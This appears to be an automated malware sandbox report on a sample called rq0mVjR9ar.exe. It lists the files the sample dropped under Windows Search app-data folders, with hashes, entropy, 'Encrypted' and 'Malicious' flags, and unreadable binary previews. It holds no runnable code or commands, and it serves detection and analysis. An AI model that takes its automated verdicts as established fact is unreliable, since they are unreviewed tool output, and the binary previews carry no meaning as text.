Entropy (8bit):	7.99641605819241
Encrypted:	true
SSDEEP:	1536:ETmFIGko73WXad3bxr58sQnkFMLNioMj3WiAGiemFX:7L/73WXadtF8sQkFMZiLWH1
MD5:	E015D61037AFEE5BCD9305F999875FFB
SHA1:	BB07F9173250A683B7BE562772095E1A6DC69B78
SHA-256:	746CEA113EFC949826A5DAB570FD57B57EE42EE44005ED71B3A42D8649075D23
SHA-512:	192D18B6769C6F786D15E41690F12D7E817A2FEAA57511E8779CB00019C4D5D790FE8C1C2E8586E07F48B58388147406872759E0749A81C05EF9CE5BFAB28851
Malicious:	true
Preview:	var _.p6.N.l.2..Df...2.Q.'..{..4...9............"...{.9..5...0//.A...~..:..}k./a.1.. :..uO.]e.\|`t.....(...B..Y...y.P..`.^D...?...)...S.......s......d.I..-.....E.{.ph....I!.....i.G..KR&....A.~A~5.>.iRz.]./A..2.(...H.D..G.c] .D......Y@."..L..M&.O..7=.......?.J......K.g.X.9i....@.\...Ax..+...v..K.1j..A.f.0\..g.].w;o.....X.._...y.a.@WN).j..........E...../.\|..9.wv.H.U..B...@..`..?_..C.........9*.....t..........J..i.).E...9.......!...B..[....ys:....T46%..q.z..r~...%. ../V.+.Cc"a.M\.h..g..5.....e E..a.2)..,....7.b.}C@pa..C@x.2.~...I...^.....F.\...k.....){..#...~..X.;..&.......oBr. ..?.u.4.T....)j.<x5.F.....J:.......K.2u.$.$......~G....k'......@..x....{..j.....DE.)..z5MZ.....r.&s.(..k......C!..Y#.f.V....z...TfTd.^..I.US.6.w...>....W...c...w.A..v....D..3..w.Zj...e.....D..t^...r.xQ.....D&.<.t..?C....b....j.[..J....'~.f.3..^....w7.M.V.>'.usROs\|..60..;.3..?.!.;=.1..7P+{....l....\.n..20..L?..r`A.....@.."...o}YN..80".N).T..c......3s...j+..w.uO.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\yNwdh0ra_6sDoSuCVMI8Wjl58UM.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	95724
Entropy (8bit):	7.998044481792202
Encrypted:	true
SSDEEP:	1536:Issj8/lpBokPjRYya0zbwYvvRBwUshoVKRV/fh9J344JC+2lL/OtVeJ8fm0iTDDq:I/j8/1XrRYy5/wY3RBwUsRZhLCCTekms
MD5:	C26F67F1148671F30243461F9C63CA8F
SHA1:	55F3E1DC0E53E68146C7A37D9DA494DD39E69399
SHA-256:	207E36566166FCC05A987F746ED9AA56A17A61DD32E154B765095791AB897016
SHA-512:	102ADD717CEBAD034219118137F75956E3D2AD997D2588D373053DCE263311612C22FC468298AFD024157679BDD4BEEB38FF95D0A6CB4E731ED7CCA8D44B8B3D
Malicious:	true
Preview:	var W..i...s....)....8q...}......e@'J.?D..p....j.%....%._..bl.%.P7..........!..[e..q........-9..R.ql.J".~...0.....z....o..(..{X..~.T...........RmH.a.p....,..;...m.....2..#.G....d.^q2.hj.x.#..D.......E.qE..8&..A7g..Q...../j..)J.,.I.x..G..jk%2..Ra.SfIRb}.@.QS..m.~\,.RGR./p... ..2.c.S....in.B7..T.r.P>.g...8.o4&..GLP..=..\.p.>..0..C..9B...B..r..g..3(8....&.N.G=..k.X.9E.~@.....6../.....t.L,.F....$...20.../c.....\|x.....u.Ai....r.....f.`f.zi.'u..1....P..>o..pO.V..q.._0.b.;h.....=.k..:...\p..N..7.OS......9_[..Z...c.^R.N.K.5fw.....r...Y.X`N.1...,..sM..m_O.%K..aq..l.....X.~.+.;.M]L...E..m.P.kqs.6v0.a`....kM[.@..b..35t..77.......=EC.Y..Wf.:D9\.o.R.G...w.(.J..E.`d....7.;e ......p.2v....rg7J..;T(.mY.v-....ZJ...\...<f..q.H.X.[..v..x~../.I.1..I%..(.....h.I.....I.......0.9....5_........._..vn.H.g...5...Q0..1..~.K.5<.&U.T.\|...xo.D.W....... ...~t.&s+...Xew.;[/,......}to/r.B.c........Y.\.;b.J1.@B{C$....,,>..p.cj.G..*2.......YT(.}.I%v3...ZI.0..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\MSIMGSIZ.DAT

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	49454
Entropy (8bit):	7.996215340378072
Encrypted:	true
SSDEEP:	1536:15s5yfSe+Ye6WgyO8ZRNGM+hb5t1dI88pnEk:A5yfrhcu8ZKxhb5t1q73
MD5:	0F9C890C0FC0DCA5D2EA68ED24E47C55
SHA1:	3CC1D22B5ACED107F821DF15BA3676486A6311C8
SHA-256:	FA99934658450168D2D2771969A607F98C68B79125A64C28612AA7A86545E275
SHA-512:	97F26691DC4A2F2BB2D19BE24436268B5B61399581903D0335E5ED5D06B6C4E7A7254A74042CFE8F814479A5F18E7A7AA3015348D2FCA9843D9381C1DD28BA13
Malicious:	true
Preview:	............7.0..'..9.Y.......o(.......--q..-#.uRx7..;.k)...".j.~1.......`6!.p.%_...c.W\.:'....z...\.a.....Pm...M........n.....z...k\|J.(A...B0.."......p..=.Zt....y{;(.;x...KWU..{&.a..z....B#)O.\.;..."..R5.@.jw..CM..&O...l.3..]..Zx.X..cmCH.....2.....%.T.\...[..9....>.J.`..W...w.........J._.B!.....W....}.I.W3)8..O1K[P.cf.I.<.....v+.......u..F....,..@.P.`....0WE...0..7..N.K.k..A..D...h..T....$8.......$8.$.k\|.....3..qwy..X3$,X.[.0....5..\d+&...)......=3.^....].8.w...d`....#a..H..Nc.j..2Q.z.1(.....(@..xN\.R....7Tb.$.g.o..]..o....]..0J#..H.J. Z;.......O..!G..!.^..a...[i.W.>..Lc....[>.......x..g..^.z]..NO...Ym.;\|.U.....t...L...O..r1..K.......~.-.../.6..b.....`.h.y.^@.g`.]..1.$..d.t...l.@.......S....g\|.Y.t..,.d.KN.k...X@$......."C....B..t.....r..\|.}......EB..h. .T.....V....k..{A.G.O'P#.8.X.^8sm..z.p...`..t].Uzx."yr.x.o...qT;>.p.e......M..&..{.5...v..e....dyhg......G9...C.(.D........~H..n..;...>...wo.....3.,%p.....j.\|..RZ.o..UAj}Q.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\DQECM999\www.bing[1].xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	47121
Entropy (8bit):	7.9960932782334
Encrypted:	true
SSDEEP:	768:kOuVWfBrq04LUeLkHa42++AjcuakIpL82IqfIYXjh0icdjeOMGjUaLouDQmh5D1:lPRO/gnRLjcdpd+jewQuEq1
MD5:	80D751034A69E9A3A1A566A11B0711D1
SHA1:	C0E81FD8C0507AA68FCDBDF5D944A023BC9E0F7B
SHA-256:	859DC2C00A6B37899F0210978B2616C9ACD524108F1225A401C17D91B1B64A7F
SHA-512:	E67504B983B5A99A0FB9A79D4082EB420B7FA6B69CC8D60D980FA408F307BBD2C4E4F34A1E337F8FF410594373801BB857E86E26B3609A829B5DDAAB4C614F94
Malicious:	true
Preview:	<root/.}.J...Y.'...u../..d.fL.Sa.........E...+g...`...?..0..._..t...b~...u.....9....(9.4.s.y......l........a.b._`..5lvI!..[..,C..K...%..f.EYc..h.~c..<..>R...N.g.g>YW....I..g.0.ON...9..)..Q.......!.hO!..C.2.t.h>....5/.\..d..e....%iT..E".mp.........._-jw.B.s...^..d,.+......f.y....m./LO....Uz..@" ..xR.>y..b..S...#.?oUj...]M.?..e..XJ.^.......=....U..j.......-......kCN.2.jFJ.-...p......X.BD..%..e...Uf..._4h<]..3.../.uF..w0....!...U6.k=....T.9.p..)2)V......%<....B.:.y.~..w}dJv.......2.....$`QM..[.v...-R.X-...JE....cm..a..s<.......t0..J.>x..4A2;...r...r..Z...VK.R.=.Fb..@..u.........=.l.(. ....Q.@.5...c.H...H..&.#A..I@0....d...:D6%../s@....=.I..i..n.L...x:.!l.....C...Id.I;!l..;...e...&..S......e5........!..K...Q..\Pl.X.W..o.5.....w..4+.kB....d.....q..'u..x../z.......R..F.o...{..An@....v.V>,...u........g.......y-........3.b......q.A.6...GS.}."..$.Dl$.C^..&;Y..l......~1.1.WT....=..J..F.4.6P..jA2."...PM.[h..>.:..j.\.m....E..Pq.0j..J..........Fx.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3192556604894092
Encrypted:	false
SSDEEP:	3072:K/GT6G7I2naTxeIJRR88IiIza9Raxw2GaDRGN4hTuJQuyC2d0s6RFDQFRSwBaPaw:oG/WeARxIik2fwl1R2QuCyJfQFs7
MD5:	FE59391AC77A5A53F9AE71ACE1454A6F
SHA1:	3E53EAF2782D49317B927157C1F95504634C23BE
SHA-256:	1DCB1A275ABA6C7993FC2006F4B52D357A491E7ED8BA2D48B9B8AEB261CAD133
SHA-512:	AE27872C796F897CDAD9515F036613FAC4BDC9AA5B317D6B0F2AAE99E248D01BDB1A3028799C9FC37E171169A69F69833A914C67B25094D64126EA953507B35E
Malicious:	false
Preview:	u>..... ...k[[....N......3}..R......3..w..%$I.o...\.....s..>.o..);...!U.z....=..q.`..t@.i....-:.P.{.....,Eq.%D(.%s%..1y.\.3..]P.t....#.Ey.a...0:O...Y.{.u.A...'..3..~.$v..].._..-.[$..x.p....1.AlN..X.C......:Bl. C...n.\v..<..C..&6.;.Y.o<^...p .g'.6...Q..z...D..Qm.O...>\|....{....m..9#.X..P.%.]...&..x..$....T0..N.D....\|.x...g.....u."t.KwX.c.."...)...bU...6.......f.m......=.....M-.C.i....R..l:........g2-...L.I..Qm;.-..T.(%fl...`..C9^.8%[.y.....x.<.t.y.p...3....2..R...Kg.U{.....FM.@....p..%..l..... .....`..-.z_.b....z5............0C.k'..R.X..gQ~)y..Rd2....Y.......&e..UP...wu..M...+=.?t.,E...?..L.."......#.....\|a...Q...Dn..&4..m...BI.E./.U.M..Y.4..e......1.k{.k..#...{.}Vz.3.Q.8.$.n....:.....h>CC>.....:EH....=.cW,Cz.Xr..MH...u(....r.%.w.#~.......cZ..@.~.......^....6.9.x.....}....uCZ....f../Y.O..!..2YV.P. ..{.g.JI....x#.M.I1.4.....'a.;.N.Qx.m.X#Yn...C.iF~QM..n..9.x;..i(.84...'...... U#)........_.a........]L..To..7;k.;-..k.>....0.......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989080826935483
Encrypted:	false
SSDEEP:	384:w/6Kr4eqvTAy9vAqu4DkCWI1eRkZB/JM5sPx0YELqI0rR7fN:wVcxgkkEERyBhOYELSrR7fN
MD5:	5246E071AA870C5C50B21F9E00F9D78F
SHA1:	01CFFB5790C93F96D36D27CDC1C39C6045A34BFE
SHA-256:	E84D12F424A2712D924E060F0FA94A9F47703A495249E1C3C6B57BDAF3FEF511
SHA-512:	AEF1BF5D2D0FB027992CED7B1072BF64AC54C502B9A148F8E1F705895B8700B2643C57F53D0BBEC5A718C361B2FA813B01779D75BEE038DF08EFF71FFC119A7D
Malicious:	true
Preview:	....e..'l...B..>..5A......H.d.&..CSjE...2.~j.CP..J..../.......o.DX.._.&..(gp.,...ki.T.o.E....s.....(.W.i....u&.<...s.(..#.P...n......n...4.p......}..sU.......<...cI...^Cz.....~N)...u.a....~.T.B..<...su...nq?9Z.0k.Z{f.........M........$[-.....G.....^jG../Y..A.3.....9...p..<.Q....B....[NK..0{..+!a.,z....'....v..\|,.,.m.}-TK..u..........1..d..].#..B....Li...L.F!Y.e..(.....}1..sv.~[~.ahv..H7......(....$O.?.....F.M.J..;...I>...#..Vgy..&4qB$.=.v..z...[....B...u.OgxW.......r$s?..-h]...b?_..a..O^.A...fl.x...L..e..f.th..I/.(..."..4....N.@.:....r\O.....Y.....6.......:..GY....\|=.1..?..R.jW....J....^..a.Z,z.&..&.X..:h....1<~......x..'.['~.V.."..XO..,....B.vl..NtK.1.37...E.jg.j..R...m>.S. b..P.y...I...\|..2@.}.oe.9.e.._...:.....L..{Q=p.s1....=%.,..$L....(.)Z...=...6......&.....~8"..\..;.5L.<.Ss........de...\...$.YR..{.....b'...X.......'..X)#.. 2..*v.i<.^.gG.....$w<N...kEDC)Iz.#...M.n..l?..V.....[8.y6K`..#(Z#....d.V...h...4.#.o@yW\...Y......=.kS._.e..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2097486
Entropy (8bit):	1.0872322237957197
Encrypted:	false
SSDEEP:	3072:QxOl0VZhXggjeEAQTozS8bilENrzlBAEDw6nNn2ebWoeb6C7z61Qmakb2axghaxA:rsqENszS8bN3Iaw6nNJbej7z6zSN
MD5:	94FD66BD7D361B0CFFC5ECA9CCF6F6E3
SHA1:	5F5674CD8210A421BE62F7A22BC3590A741C5085
SHA-256:	D60BDE440030B3C111CFC0B7BF4B4618BED3597C6CEBE557D985C8E5AA5C7F33
SHA-512:	6B93109D7DE62D02F439E60CF7E3C371CE04F485122784126F55D9529E641ED4588521D8C9CE33C6786EEF42BDD19AA4B42EA9EDD7F7C22FC1C3D7708484380C
Malicious:	false
Preview:	...E.Yl...6..>.Ir%K..F.....+G..T;k..3Dr....A..$[z;X.>0..Nq.vj....md..`C.o...q]...P...8.....-..853Q.C....2....x.H-..&a.XT......f.M..OtU.....J.........IT..a%y...W.+.U.i2....$9.]2#..5.....w.T.../v...i..m...I.....9dg.{.o..Oq.p..f..._.J7.0e...yS7_..xk.......K.`...U.t>...X..i..>....+w......C.x.f..W.F}.....ej'....I..F..v.i..9`....r..S.Ql.Q+ 59.k..B...&.._{$.5..]..^....w..X...........UZw...!....v-/.A(.t.e.u...q....Y...d.B..=.'..eO...(P...B..@..`..w)y.`.c..P%.h.._~.....A..jTZ.%....2.j..9.q.{x..I....>^..N..M2.!...f>%SP.:.........q.j3l.F..q.<s.^.. d:%.;-..u..hd..N.S..}....G"p&..i.m....8t.B;.l.........5.......O.:'..IY.a8%.3j..s...9.xTE.WK.5=!Qr.....>o6.4.Y..#......"..Tbz.z...>nB..y................K.z.p...W.gk~.W2.S8..OxS...a`(+E.=.{...]5g..[.42!o.sB5.....u.~...r.\...8`.".A.-.x.{_a.D....$(~m...\^....G...a..S.x/...'..L..~j..E.&....L8.K....aEm'V.`.........>../..PR......A......V2R.....em..]o .e.4.;.\|...[...J.....9..X@v...;F.6Wp4^..WyV.\|...O.Ak..X

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.jfm

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.9878793071489165
Encrypted:	false
SSDEEP:	384:xYEv8PHm01ss04TMTEzaGymDgaBiluQukoVoxQ4vOs:xp8+k0sMoeageilsVt0
MD5:	CF0ECB2E5D97CFE4DE52744C9BE130EC
SHA1:	35A54B154FC15C0E1DECF00037FE740E5FB9680C
SHA-256:	8E1B1A139A2AB0537D1AB1024ABA3BFB3F6B00D75D1DB369EB23E30486256B94
SHA-512:	F7D5D024D1D3A877E0A1EB415B38CB4DF4A28F4AB8AE8C73D950EA4FE0792DEFDDC885C44928684E95DA6408AD19386B54D6DD9FD2ABD36BD72DE8B3814F76F7
Malicious:	false
Preview:	....%w.N./..YVEa....N.....hv.>.+.......-....D,-a.6.8.5.Hr...+.....I.S..,.[ .....[../X.hX.(M.Z...qj.."f!.Xt...fv...&.)H..J.LI.....S.W3.I...A:..2...A@Z.r.\|.\|O....<dg.$.+0.=.....[..M.. {..{..w....P\|+.._...Q.}...3p.3..U.it...p..=.Z.......gf.bU.t..).}0.....m.,{.3..*.Tf.(.6:...MbR.)..D..U.2..=_.~..k.<#.A.Y2.x.^.B...>S.@mp/..j..X.6Z.NF.;..k.n\|.....E-.@L..v..Y\|D/..#e.m.$....O.#..O...v.f.f\|.".S.S.^~.oP.7.G.n.~.<...6.>K....6.7.J..j.....!p...@.(aN.F.Wk.N..j........D....&..T.....9./u.. ..c...)..ZM............9....1Q..Z.=,.s5b...N.S...O.us..\..!X.R@...x........3.!(.,..xF9..EUEV...s.p.Y....+}.......K.$3I-...K..k.......o.H........)....Se.(G0Jb]...@m..3..q[.J.RI..So>_.4...+.(..C.;.6.;...q=b.lqq.t.?6.?_J.....G..]].'....\n...&&..&..,?.....V.]....'r.).q.31".S...t.gK.t.R/Tg^.s.d .?3?.\.HF}..Y.^..Z"r.t....3.0.4....d......50'\|...s......4.n.:...DR.q.Nf..!....0)..`(.sc~..[....eib.5"\|I_...`2...-C.D.."..Y..`.u...Fu...r&..I.(...f....W..7....\|.TAP.+^..<.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.chk

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9794056238658735
Encrypted:	false
SSDEEP:	192:YSlJpq9W4Ih1z7jqnVeJImAZtB7yN7D14EdMPSfwARZV8uNgsymvXT:YGp7ZPqVeIrZHmNKgSSIQKuNJ
MD5:	708471ADBE170A1F67E7F8C0FDECFB76
SHA1:	362174D4B269B190C815BCC52A25202C71A406D8
SHA-256:	920264A37605B41C0AED3F72E0F3A5307E7925C426D836252E28DD189EC97E25
SHA-512:	46762871A416CA5768A00F740F6A75F57CEDEA8E482C3D5E44255564BB5B4CE29B0286F7ED50EE27C2B09BDEAA0A5D63F9928ED180A731C65311592CC9FE02CB
Malicious:	false
Preview:	..a.........D.yR...~Z.p.K.{...I....U..50I...d......B~.i.aC.WD.T=fd..$>........g:....V..Fz..M.....O.m....8.R..f0...A.."..`.d..A.........qc..R<...p....?.%R=....4....k.S...$.C......f.M.3.......L...9S...b..{0...>v^.h2lY../go.O...U.>.B}...5....gc$.1.[.y.w.-N........yqS...>.".D..(...!Q..e.c..B.o.[...y.C4...9v..j....62..WR.....9.L.....a...JD.;\|....e.,...:N..yE..3X.......EH..j...$...^u.h....+Q{.D.V...R.....ud<.V.l. ...].K.9P.N....~(....~.._..j..!........"y..9B~H9#......W...w=.j.....Q<.q...b^[z....\..'.......@...Z..!\|.....3.+>....."...]......m...5...m....p..N..Y.\|.S'y.....t......r......c.....'^v.)...jj.cd7e]f..<......Rp....\|.$....:.0....z..g.....?.k/.jU.W.C..HpM.T.%k.....I.ql;M.@r...9$.v......lJ...JfXD4E0....1y.......w..S>h3h..$n.Q..Mn..)&V.Q.2+..... ....7.....d......lK....<..03$.A0...\..].............8....u!(...zbu~{.A..........Z.........dW(....V..!.^...9....M.z.."v...N...k.a.9...O.......]F..Q.V...p.z...I..7?.`..F...s...J.;./......G.&.R

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.246307331525999
Encrypted:	false
SSDEEP:	3072:OUKjHX0CCvqIYOxHfqbEJno6hJZPr2yQeTkuAmWuqUpyi2c:zKX0NqIYK/JJhJZj2peQfEpye
MD5:	284BFA39105BCB2E7DA2F0ABACC37056
SHA1:	C3350987149BA78434492014E169E71961053A99
SHA-256:	3CC244881275FA22BA6CE74D46E2BEF0B365796DCBD720B8E2C55430C1C1892B
SHA-512:	B6B4F7B59A9203CC89F45172DA0EF396B1E51F79D3B0F14D09A0C44607CA49F3A16D1D6C630D0378775F8140B1DCEECDE828906A68388C2E636A92229AA74F34
Malicious:	false
Preview:	......s......\|..?...Q.(...0...l..{1.b]=.....$t.x[`...?mex..\...>..1..c...q..V.ML..GI..q.q./q.=t..D....5...pm.....Z.:.tR:..?./.=......;....#E...Q7..X..........p..pK...B.....fS..f1."..aQx.Bft.....k.ez...w.....6M.;....M6..Ck.\.t[..p.`..B..OP.[.Ie.W...G....Sd...Y....G}>.i....r.+[........(.....+.....Y.Y. H9...Vf....<.......y.5.2.7....\|W....8j...nX........kx....J. ...2EGm.G)sj!@...2....V.....VN..L[U!.{....[T=....{...$...T!.zp#..H2.g.q.....'tM.......)..vbi.L.i.x%~./...qo.....EO...A..YxJ..g&.xf.....!..r1.Z&.Z...uj.(...p./...9.......2..:.AY.P^.X........P.X.=.>.D..]....8aE@..(v.).!..8....@....P=..iK0....c2.p........Jrn.H..,.~.......8/.N....p.O...sQ......%.=.B.k..+_...<I.U..Dp.\d...@:C..2L......30>-....'...p..AFz<xS... ...pEkM..3w4.'.W.9.....f....s..p...eE.e.,m.._;...).?..m....(.DkXT.&L....R.i...`i.pp...6.....E....Q.......;Y..Rad4..6...D.-V..$.i.........!.B...l.f...t..g.w. ..r@j.......M.......B1..$.^z..}.Ep.9.M....".Y.$7..T.............!:.D.].

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2077147749150337
Encrypted:	false
SSDEEP:	3072:c3vlsZ1/YGd/htKT6Jt3PWaPVl62eWz5hy/lN9rOAFp8QSEaiNmJGuZzv50yayEC:cCZ1/YGs6J5W4Vc2NlhoP/yEaZZy3yv
MD5:	50A0E09118395E380F95A8EEA098B0E2
SHA1:	B55833A721B7ED52B858F02331E927D186CC79B2
SHA-256:	4621FADF1E867AE3602DC807F5F70E821625565ECFB28315AA785523B7970523
SHA-512:	4EC7E6DC887AC7AC2E7845A12F7DA38903B4B78B24BCDAFF3B268AC37A9A06853662E733E7EF173B26EB66E6BF053FDCEDBF1FEBB70A70E55EA13A4E8832C38A
Malicious:	false
Preview:	..........!.<...<.....$V.=..Gv1....W.-.f.....crv....R.<x&.y..5.D...}.\|l!.r..I..../.'.e.p..".1f..h.......r..A..U).].g^D../....<..f.N..bl..J..l4y..+Q.\..5..D.6.b..../.W.4j?.T...yP0..Z1.m.o....MM(i....F.\|B....hI...N.a.....p..1...$.s............USV.S..x.I.....y.O....u.....t_4..cV.Z,n.3.z..!.Qb.od.k.b...`.W...,cr.Y.2...,i.)m.Y@yEM..2<...H.0..+Sm..Q"Wk.......'.km......P..&)..2..=.n-E.NK%z.sv.[.m..8..2O......c...5.....V[..i/o/.fzI.;sb......R"......3...."[...M..v...hI..Z`h K...G...\....#)l...~...S.k..1,&.l...A.......S...l.ml......x..$...ul.....r.....L.;..x.d....V'E".X..N.=*Q..U7...u.Q.......fW.-..........9"........l.O..^@..r.j.......mC.BV...M....z.....C.....].x2i.4......=....U..../e.i?.fy.S.)...%_..S .94.X.=y=5:.l.<g..&0..QO.d0B......../'.R.z..nb.Zr5...({...u......w.)..".{6..7,.....#..Kq.E...q.sn.........=....D.GB1...U.K.m...%X.........e'..G....x..J..G1..\|....~p...!=........A..6...+V%......Qm........6.!.k.J.d...h].2...T..D....c.:u...+...N.P:..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207512561263589
Encrypted:	false
SSDEEP:	3072:gmGICSe/AQD97/yzyGcUfS1KPNhYGBlqZ6OhUMcqFRm:kICSoAQD97KOG7mK3dTOSzZ
MD5:	705E7A45AC0F07F2B114E689B3A18EAE
SHA1:	7079A696089931D9E5955C29EEECA20BE478CBD4
SHA-256:	2C4459360BAC2EAA0ACD033CB1C5D5928551B607F4062137B0531AB3874D9960
SHA-512:	C208D7693061A73AE44C15AB9EFB769A17C1A382B5150E791E1058823B7F2FC2CCA224E6E6AC27E0A79E5E155D093C81C5F48B5B86F70FF575F01D6BA5316438
Malicious:	false
Preview:	......caF6\|.~..Q......z....G......n....\...RP.Yt.0.}^%....:.....A....ez.....#....9..}.{.(=.sY....rG.. .{ux.....N...:3...D_\|=.\|Y?....f.~~..;...>bOTF.@^.AR..L.3^.e....Bn.P....3.^..3...Z(t/tq...].<...eh.?\....=.E0..S.j.9.4.G...j.Qk(`.Gs.dZ1".........oO$.^oI...z.....W..#.....a....w.$Q.......i.Yx...7..l.X...zo.=......Q...\:.M..B..u]1..pJ......D.>'.`.J]U..b....LF.K.Q.i.....$ .y.r-q.Rzy..U.K..QaG..E......a.].l<..'-c.o...[.....3..gs....nv.Ku5..k!O...\|pa......#F".D..4e..0..xGK.{..M.4..70.....l.:.S..`.s....1..(Y6sYT.3..c....><3..W.IT.....$....F..GB.89...#...~.L...w..7cl.q.m....<O.....".#...eb..'.c..Xv=.......2..;78.Z1..b(7.......`U...L....)o...SC,.6....5.o.3.{.......R.(^Wb..").43}..sK.N....F_...(...H...i.../....Yxk...+4..9(K&8.......n>R..m4..&........@..N.D.k..$.....r]r..v..3..p.$.....j^y.C..q0i..z.i...n..Od......CX.Z...[.....X..."......^F.".\Yd1.x&.{7.Y}...\|S.!G...i.....^....7.:q..D...U......-.v.%M.O....[N .i....I...-.~...i...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207392315750421
Encrypted:	false
SSDEEP:	3072:/Fy3OQRmjNBIwfGmUwhcPuucPpZFAcze6qTYHEmJ+FC6SqbgkL7H/0mDaEb:tbZjNBI9ugd4ZFAkeXT18+F/fv/0Bg
MD5:	12BE5E8F73726D71083E73E73CD56C23
SHA1:	2F46F6E8D21CD19F556C2D4DCBD6FF4B5D0912FE
SHA-256:	E042AB1D8F0B74C8B4DD0184EB535B750085674639AF33D90446C55C64835E22
SHA-512:	F8D6D97952016912D5DAC35C81C2D57EE3DF129134587996001BC6DE5A4B1D01FF49E6312D450413019A765B786BB7F2BF1C101AD44E369D844846D6ACA4A8F2
Malicious:	false
Preview:	.......'..2....Q.e"..3J.d.%..c.e8.Q.e.[{...K.=~:.z...,....<.Xw..L"..a^S...5O7or3......M...3^T'.!...44[.N............>..2v......:6Gi..6i..].'u4.F..#.z.R..l....`.......6X.f..2-.s.GR.....VO.T......`.....I.@..V.S2..As..KP....p.z_.......[28.NB.e..G....F0Y..}F...A..F....C:...nm...F...w.Q)..U..BAK.B7.....].h......c9T3Vyk.1.........H..d$...h./...nOm...DE.b.pY..)3I5s...&{.E:.JO.5)G.\|\.ck.P.xq..,Tq..=[~2..B..<i.?..i...o.Ez.k..-.....(/..B...:Kc.`....Q..]jv..F..\.y@\|...W....gjb;.s2mzuh.;...o.$D=j^.&..i>m....... ...#.o-c)z....P..&YZt.N.U....7.N....!...G"..j.~.jXP.Hy.B.).Y/\.0h.\|{...Bo.TJ.b..]......2}.]..8......U..P..,..T....E..........lGNw.9..7.}......-B]..^.KC.`F=..w,..XtJ.:.......u...3..{......Z...k.#\\....EI.7.;../8]........z.V...R.?\H..^.~I.v.r.b .1.zL....../.p.s.D.....#4......r+.~._ezD.g.L......P.p.i.....T.P......<j.X..;Mt.6.P.r.....;.......i..&.......uw..;.X\|...=3...4.....J.k.....}<@..$..`..E.8...3.x=..3n#.. .%Qt....~ .\|......[ .$..x@=+..f.=...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{84c2e19f-ba07-4fa5-bd92-4f6344328293}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	37506
Entropy (8bit):	7.995228155386851
Encrypted:	true
SSDEEP:	768:dcyiQIqcILXnowqQdgCQx9xewG8b8RWq5gzuYbJfJsPLkzdMza0FneLj7Bet:dcyiQIgn/gCQtTbnaYbJokWBFnwj7Bet
MD5:	7B1C935E8A29F4E59CFD0F41F9DEDE0E
SHA1:	51D19FBA358EAD37DA86FB1A73129E3BDEA514E3
SHA-256:	DD989B4FD6096A9370E661D6BCDB816B5AF72E24CB7284A25BA647D35B58A9CC
SHA-512:	CCC903CEF85FE9D1F7BFD740891C47BCE876BB7D7A9A9DD51CFC5A0DFD4AD066C3190DFE2F83D2572EFD4D0CBD77929628C077309FA3B024786C3552B078EF76
Malicious:	true
